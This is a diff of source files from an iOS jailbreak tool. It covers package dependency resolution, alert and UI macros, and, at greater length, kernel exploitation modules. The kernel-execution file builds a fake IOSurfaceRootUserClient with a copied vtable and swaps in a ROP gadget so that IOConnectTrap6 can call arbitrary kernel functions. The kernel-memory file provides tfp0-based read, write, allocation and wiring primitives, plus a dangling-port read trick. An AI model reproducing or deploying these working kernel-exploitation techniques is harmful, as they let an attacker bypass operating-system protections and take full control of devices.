||||
NSArray *resolveDepsForPkgWithQueue(NSString *pkg, NSMutableArray *queue, BOOL preDeps) {
|
||||
if (pkg == nil) {
|
||||
LOG("I can't resolve deps for no pkg. WTF.");
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSArray *deps = preDeps?allDepsForPkg(pkg):getDepsForPkg(pkg);
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
@@ -249,6 +244,14 @@ NSArray *resolveDepsForPkgWithQueue(NSString *pkg, NSMutableArray *queue, BOOL p
|
||||
queue = [NSMutableArray new];
|
||||
}
|
||||
|
||||
if (deps == nil) {
|
||||
return queue;
|
||||
}
|
||||
|
||||
if (deps.count < 1) {
|
||||
return queue;
|
||||
}
|
||||
|
||||
NSRegularExpression *or = [NSRegularExpression regularExpressionWithPattern:@"\\s*([^\\|]+)\\s*\\|?" options:0 error:nil];
|
||||
for (NSString *dep in deps) {
|
||||
BOOL __block resolved = NO;
|
||||
@@ -315,24 +318,25 @@ NSArray *resolveDepsForPkgWithQueue(NSString *pkg, NSMutableArray *queue, BOOL p
|
||||
return nil;
|
||||
}
|
||||
}
|
||||
if (![queue containsObject:pkg])
|
||||
[queue addObject:pkg];
|
||||
[queue removeObject:pkg];
|
||||
[queue addObject:pkg];
|
||||
return queue;
|
||||
}
|
||||
|
||||
NSArray *resolveDepsForPkg(NSString *pkg, BOOL preDeps) {
|
||||
if (pkg == nil) {
|
||||
return nil;
|
||||
}
|
||||
return resolveDepsForPkgWithQueue(pkg, nil, preDeps);
|
||||
}
|
||||
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps) {
|
||||
NSArray *pkgsForPkg = resolveDepsForPkg(pkg, preDeps);
|
||||
if (pkgsForPkg == nil || pkgsForPkg.count < 1) {
|
||||
LOG("Found no pkgs to install for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
NSMutableArray *debsForPkg = [debsForPkgs(pkgsForPkg) mutableCopy];
|
||||
if (debsForPkg == nil) {
|
||||
LOG("Found no debs to install for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
if (installed != nil) {
|
||||
@@ -343,7 +347,6 @@ BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps) {
|
||||
return YES;
|
||||
}
|
||||
if (!extractDebs(debsForPkg)) {
|
||||
LOG("Failed to extract debs for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
[installed addObjectsFromArray:debsForPkg];
|
||||
@@ -403,7 +406,10 @@ NSDictionary *getPkgs(void) {
|
||||
}
|
||||
}
|
||||
}
|
||||
SafeFreeNULL(line);
|
||||
if (line) {
|
||||
free(line);
|
||||
line = NULL;
|
||||
}
|
||||
fclose(pkgs_file);
|
||||
|
||||
mpkgs[@"firmware"] = @{
|
||||
|
||||
@@ -7,52 +7,35 @@
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
#import <UIProgressHUD.h>
|
||||
#import "common.h"
|
||||
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
|
||||
|
||||
static NSString *message = nil;
|
||||
#define SETMESSAGE(msg) (message = msg)
|
||||
|
||||
#define _assert(test, message, fatal) do \
|
||||
if (!(test)) { \
|
||||
int saved_errno = errno; \
|
||||
LOG("__assert(%d:%s)@%s:%u[%s]", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
LOG("__assert(%d:%s)@%s:%u[%s]", errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
if (message != nil) \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %@", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], true, false); \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %@", errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], true, false); \
|
||||
else \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__], true, false); \
|
||||
if (fatal) { \
|
||||
if ([[JailbreakViewController sharedController] canExit]) {\
|
||||
exit(EXIT_FAILURE); \
|
||||
} else { \
|
||||
return; \
|
||||
} \
|
||||
errno = saved_errno; \
|
||||
} \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", errno, #test, __FILENAME__, __LINE__, __FUNCTION__], true, false); \
|
||||
if (fatal) \
|
||||
exit(EXIT_FAILURE); \
|
||||
} \
|
||||
while (false)
|
||||
|
||||
#define notice(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
|
||||
|
||||
#define status(msg, btnenbld, tbenbld) do { \
|
||||
LOG("Status: %@", msg); \
|
||||
dispatch_async(dispatch_get_main_queue(), ^{ \
|
||||
[UIView performWithoutAnimation:^{ \
|
||||
[[[JailbreakViewController sharedController] goButton] setEnabled:btnenbld]; \
|
||||
[[[[JailbreakViewController sharedController] tabBarController] tabBar] setUserInteractionEnabled:tbenbld]; \
|
||||
[[[JailbreakViewController sharedController] goButton] setTitle:msg forState: btnenbld ? UIControlStateNormal : UIControlStateDisabled]; \
|
||||
[[[JailbreakViewController sharedController] goButton] layoutIfNeeded]; \
|
||||
}]; \
|
||||
}); \
|
||||
} while (false)
|
||||
#define NOTICE(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
|
||||
|
||||
@interface JailbreakViewController : UIViewController
|
||||
@property (weak, nonatomic) IBOutlet UIButton *goButton;
|
||||
@property (weak, nonatomic) IBOutlet UITextView *outputView;
|
||||
@property (readonly) JailbreakViewController *sharedController;
|
||||
@property (weak, nonatomic) IBOutlet NSLayoutConstraint *goButtonSpacing;
|
||||
@property (assign) BOOL canExit;
|
||||
|
||||
double uptime(void);
|
||||
int necp_die(void);
|
||||
|
||||
NSString *hexFromInt(NSInteger val);
|
||||
|
||||
@@ -62,40 +45,7 @@ NSString *hexFromInt(NSInteger val);
|
||||
|
||||
@end
|
||||
|
||||
static inline UIProgressHUD *addProgressHUD() {
|
||||
__block UIProgressHUD *hud = nil;
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
hud = [[UIProgressHUD alloc] init];
|
||||
[hud setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
|
||||
UIView *view = [[JailbreakViewController sharedController] view];
|
||||
[hud showInView:view];
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
return hud;
|
||||
}
|
||||
|
||||
static inline void removeProgressHUD(UIProgressHUD *hud) {
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[hud hide];
|
||||
[hud done];
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
static inline void updateProgressHUD(UIProgressHUD *hud, NSString *msg) {
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[hud setText:msg];
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
static inline void showAlertWithCancel(NSString *title, NSString *message, Boolean wait, Boolean destructive, NSString *cancel) {
|
||||
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
|
||||
dispatch_semaphore_t semaphore;
|
||||
if (wait)
|
||||
semaphore = dispatch_semaphore_create(0);
|
||||
@@ -105,37 +55,13 @@ static inline void showAlertWithCancel(NSString *title, NSString *message, Boole
|
||||
[controller dismissViewControllerAnimated:YES completion:nil];
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
controller.canExit = YES;
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:OK];
|
||||
[alertController setPreferredAction:OK];
|
||||
if (cancel) {
|
||||
UIAlertAction *abort = [UIAlertAction actionWithTitle:cancel style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
controller.canExit = NO;
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:abort];
|
||||
[alertController setPreferredAction:abort];
|
||||
}
|
||||
[controller presentViewController:alertController animated:YES completion:nil];
|
||||
});
|
||||
if (wait)
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
|
||||
__block bool outputIsHidden;
|
||||
dispatch_block_t checkOutput = ^{
|
||||
outputIsHidden = [[[JailbreakViewController sharedController] outputView] isHidden];
|
||||
};
|
||||
|
||||
if ([[NSThread currentThread] isMainThread]) {
|
||||
checkOutput();
|
||||
} else {
|
||||
dispatch_sync(dispatch_get_main_queue(), checkOutput);
|
||||
}
|
||||
showAlertWithCancel(title, message, wait, destructive, outputIsHidden?nil:@"View Log");
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,6 +1,7 @@
|
||||
#include <common.h>
|
||||
#include <inttypes.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
bool init_kexec(void);
|
||||
void term_kexec(void);
|
||||
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6);
|
||||
mach_port_t prepare_user_client(void);
|
||||
void init_kexecute(void);
|
||||
void term_kexecute(void);
|
||||
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
|
||||
|
||||
@@ -1,19 +1,12 @@
|
||||
#include "KernelExecution.h"
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include "kernel_call.h"
|
||||
#include <common.h>
|
||||
#include <iokit.h>
|
||||
#include <pthread.h>
|
||||
#import <patchfinder64.h>
|
||||
#include "parameters.h"
|
||||
#include "kc_parameters.h"
|
||||
#include "kernel_memory.h"
|
||||
|
||||
#if !__arm64e__
|
||||
static mach_port_t prepare_user_client()
|
||||
mach_port_t prepare_user_client()
|
||||
{
|
||||
kern_return_t err;
|
||||
mach_port_t user_client;
|
||||
@@ -30,49 +23,34 @@ static mach_port_t prepare_user_client()
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("got user client: 0x%x", user_client);
|
||||
return user_client;
|
||||
}
|
||||
|
||||
pthread_mutex_t kexecute_lock;
|
||||
static mach_port_t user_client;
|
||||
static kptr_t IOSurfaceRootUserClient_port;
|
||||
static kptr_t IOSurfaceRootUserClient_addr;
|
||||
static kptr_t fake_vtable;
|
||||
static kptr_t fake_client;
|
||||
static const int fake_kalloc_size = 0x1000;
|
||||
#endif
|
||||
static pthread_mutex_t kexec_lock;
|
||||
static uint64_t IOSurfaceRootUserClient_port;
|
||||
static uint64_t IOSurfaceRootUserClient_addr;
|
||||
static uint64_t fake_vtable;
|
||||
static uint64_t fake_client;
|
||||
const int fake_kalloc_size = 0x1000;
|
||||
|
||||
bool init_kexec()
|
||||
void init_kexecute()
|
||||
{
|
||||
#if __arm64e__
|
||||
if (!parameters_init()) return false;
|
||||
kernel_task_port = tfp0;
|
||||
if (!MACH_PORT_VALID(kernel_task_port)) return false;
|
||||
current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
if (!KERN_POINTER_VALID(current_task)) return false;
|
||||
kernel_task = ReadKernel64(getoffset(kernel_task));
|
||||
if (!KERN_POINTER_VALID(kernel_task)) return false;
|
||||
if (!kernel_call_init()) return false;
|
||||
#else
|
||||
user_client = prepare_user_client();
|
||||
if (!MACH_PORT_VALID(user_client)) return false;
|
||||
|
||||
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
|
||||
IOSurfaceRootUserClient_port = get_address_of_port(getpid(), user_client); // UserClients are just mach_ports, so we find its address
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;
|
||||
|
||||
IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false;
|
||||
|
||||
kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false;
|
||||
uint64_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
|
||||
|
||||
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
|
||||
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
|
||||
|
||||
// Create the vtable in the kernel memory, then copy the existing vtable into there
|
||||
fake_vtable = kmem_alloc(fake_kalloc_size);
|
||||
if (!KERN_POINTER_VALID(fake_vtable)) return false;
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
|
||||
@@ -80,7 +58,6 @@ bool init_kexec()
|
||||
|
||||
// Create the fake user client
|
||||
fake_client = kmem_alloc(fake_kalloc_size);
|
||||
if (!KERN_POINTER_VALID(fake_client)) return false;
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
|
||||
@@ -95,33 +72,22 @@ bool init_kexec()
|
||||
// Now the userclient port we have will look into our fake user client rather than the old one
|
||||
|
||||
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
|
||||
WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));
|
||||
WriteKernel64(fake_vtable + 8 * 0xB7, GETOFFSET(add_x0_x0_0x40_ret));
|
||||
|
||||
#endif
|
||||
pthread_mutex_init(&kexec_lock, NULL);
|
||||
return true;
|
||||
pthread_mutex_init(&kexecute_lock, NULL);
|
||||
}
|
||||
|
||||
void term_kexec()
|
||||
void term_kexecute()
|
||||
{
|
||||
#if __arm64e__
|
||||
kernel_call_deinit();
|
||||
#else
|
||||
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
|
||||
kmem_free(fake_vtable, fake_kalloc_size);
|
||||
kmem_free(fake_client, fake_kalloc_size);
|
||||
IOServiceClose(user_client);
|
||||
#endif
|
||||
pthread_mutex_destroy(&kexec_lock);
|
||||
}
|
||||
|
||||
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
|
||||
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6)
|
||||
{
|
||||
kptr_t returnval = 0;
|
||||
pthread_mutex_lock(&kexec_lock);
|
||||
#if __arm64e__
|
||||
returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
|
||||
#else
|
||||
pthread_mutex_lock(&kexecute_lock);
|
||||
|
||||
// When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
|
||||
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
|
||||
// This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
|
||||
@@ -132,14 +98,15 @@ kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4,
|
||||
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
|
||||
// (i'm not actually sure if the switch back is necessary but meh)
|
||||
|
||||
kptr_t offx20 = ReadKernel64(fake_client + 0x40);
|
||||
kptr_t offx28 = ReadKernel64(fake_client + 0x48);
|
||||
uint64_t offx20 = ReadKernel64(fake_client + 0x40);
|
||||
uint64_t offx28 = ReadKernel64(fake_client + 0x48);
|
||||
WriteKernel64(fake_client + 0x40, x0);
|
||||
WriteKernel64(fake_client + 0x48, ptr);
|
||||
returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
|
||||
WriteKernel64(fake_client + 0x48, addr);
|
||||
uint64_t returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
|
||||
WriteKernel64(fake_client + 0x40, offx20);
|
||||
WriteKernel64(fake_client + 0x48, offx28);
|
||||
#endif
|
||||
pthread_mutex_unlock(&kexec_lock);
|
||||
|
||||
pthread_mutex_unlock(&kexecute_lock);
|
||||
|
||||
return returnval;
|
||||
}
|
||||
|
||||
@@ -7,9 +7,6 @@
|
||||
#include "KernelUtilities.h"
|
||||
#include <common.h>
|
||||
|
||||
size_t kreads = 0;
|
||||
size_t kwrites = 0;
|
||||
|
||||
// the exploit bootstraps the full kernel memory read/write with a fake
|
||||
// task which just allows reading via the bsd_info->pid trick
|
||||
// this first port is kmem_read_port
|
||||
@@ -32,15 +29,15 @@ void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
|
||||
|
||||
bool have_kmem_read()
|
||||
{
|
||||
return MACH_PORT_VALID(kmem_read_port) || MACH_PORT_VALID(tfp0);
|
||||
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
bool have_kmem_write()
|
||||
{
|
||||
return MACH_PORT_VALID(tfp0);
|
||||
return (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
size_t kread(kptr_t where, void* p, size_t size)
|
||||
size_t kread(uint64_t where, void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
@@ -60,11 +57,10 @@ size_t kread(kptr_t where, void* p, size_t size)
|
||||
}
|
||||
offset += sz;
|
||||
}
|
||||
kreads += offset;
|
||||
return offset;
|
||||
}
|
||||
|
||||
size_t kwrite(kptr_t where, const void* p, size_t size)
|
||||
size_t kwrite(uint64_t where, const void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
@@ -83,45 +79,51 @@ size_t kwrite(kptr_t where, const void* p, size_t size)
|
||||
}
|
||||
offset += chunk;
|
||||
}
|
||||
kwrites += offset;
|
||||
return offset;
|
||||
}
|
||||
|
||||
bool wkbuffer(kptr_t kaddr, void* buffer, size_t length)
|
||||
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
return (kwrite(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
bool rkbuffer(kptr_t kaddr, void* buffer, size_t length)
|
||||
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return (kread(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
bool WriteKernel32(kptr_t kaddr, uint32_t val)
|
||||
void WriteKernel32(uint64_t kaddr, uint32_t val)
|
||||
{
|
||||
return wkbuffer(kaddr, &val, sizeof(val));
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
bool WriteKernel64(kptr_t kaddr, uint64_t val)
|
||||
void WriteKernel64(uint64_t kaddr, uint64_t val)
|
||||
{
|
||||
return wkbuffer(kaddr, &val, sizeof(val));
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
uint32_t rk32_via_kmem_read_port(kptr_t kaddr)
|
||||
uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
|
||||
{
|
||||
kern_return_t err;
|
||||
if (kmem_read_port == MACH_PORT_NULL) {
|
||||
LOG("kmem_read_port not set, have you called prepare_rk?");
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
@@ -129,6 +131,7 @@ uint32_t rk32_via_kmem_read_port(kptr_t kaddr)
|
||||
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
@@ -137,20 +140,21 @@ uint32_t rk32_via_kmem_read_port(kptr_t kaddr)
|
||||
err = pid_for_task(kmem_read_port, (int*)&val);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32_via_tfp0(kptr_t kaddr)
|
||||
uint32_t rk32_via_tfp0(uint64_t kaddr)
|
||||
{
|
||||
uint32_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_kmem_read_port(kptr_t kaddr)
|
||||
uint64_t rk64_via_kmem_read_port(uint64_t kaddr)
|
||||
{
|
||||
uint64_t lower = rk32_via_kmem_read_port(kaddr);
|
||||
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
|
||||
@@ -158,41 +162,50 @@ uint64_t rk64_via_kmem_read_port(kptr_t kaddr)
|
||||
return full;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_tfp0(kptr_t kaddr)
|
||||
uint64_t rk64_via_tfp0(uint64_t kaddr)
|
||||
{
|
||||
uint64_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t ReadKernel32(kptr_t kaddr)
|
||||
uint32_t ReadKernel32(uint64_t kaddr)
|
||||
{
|
||||
if (MACH_PORT_VALID(tfp0)) {
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk32_via_tfp0(kaddr);
|
||||
} else if (MACH_PORT_VALID(kmem_read_port)) {
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk32_via_kmem_read_port(kaddr);
|
||||
} else {
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
return 0;
|
||||
}
|
||||
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t ReadKernel64(kptr_t kaddr)
|
||||
uint64_t ReadKernel64(uint64_t kaddr)
|
||||
{
|
||||
if (MACH_PORT_VALID(tfp0)) {
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk64_via_tfp0(kaddr);
|
||||
} else if (MACH_PORT_VALID(kmem_read_port)) {
|
||||
return rk64_via_kmem_read_port(kaddr);
|
||||
} else {
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk64_via_kmem_read_port(kaddr);
|
||||
}
|
||||
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
const uint64_t kernel_address_space_base = 0xffff000000000000;
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
|
||||
{
|
||||
if (KERN_POINTER_VALID(dest)) {
|
||||
// copy to kernel
|
||||
if (dest >= kernel_address_space_base) {
|
||||
// copy to kernel:
|
||||
wkbuffer(dest, (void*)src, length);
|
||||
} else {
|
||||
// copy from kernel
|
||||
@@ -200,10 +213,11 @@ void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
|
||||
}
|
||||
}
|
||||
|
||||
kptr_t kmem_alloc(uint64_t size)
|
||||
uint64_t kmem_alloc(uint64_t size)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -213,16 +227,17 @@ kptr_t kmem_alloc(uint64_t size)
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
kptr_t kmem_alloc_wired(uint64_t size)
|
||||
uint64_t kmem_alloc_wired(uint64_t size)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -230,58 +245,61 @@ kptr_t kmem_alloc_wired(uint64_t size)
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
|
||||
LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);
|
||||
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LOG("allocated address: %llx", addr);
|
||||
|
||||
addr += 0x3fff;
|
||||
addr &= ~0x3fffull;
|
||||
|
||||
host_t host = mach_host_self();
|
||||
err = mach_vm_wire(host, tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
host = HOST_NULL;
|
||||
LOG("address to wire: %llx", addr);
|
||||
|
||||
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
bool kmem_free(kptr_t kaddr, uint64_t size)
|
||||
void kmem_free(uint64_t kaddr, uint64_t size)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
|
||||
return false;
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_deallocate(tfp0, kaddr, ksize);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return false;
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool kmem_protect(kptr_t kaddr, uint32_t size, vm_prot_t prot)
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
|
||||
return false;
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
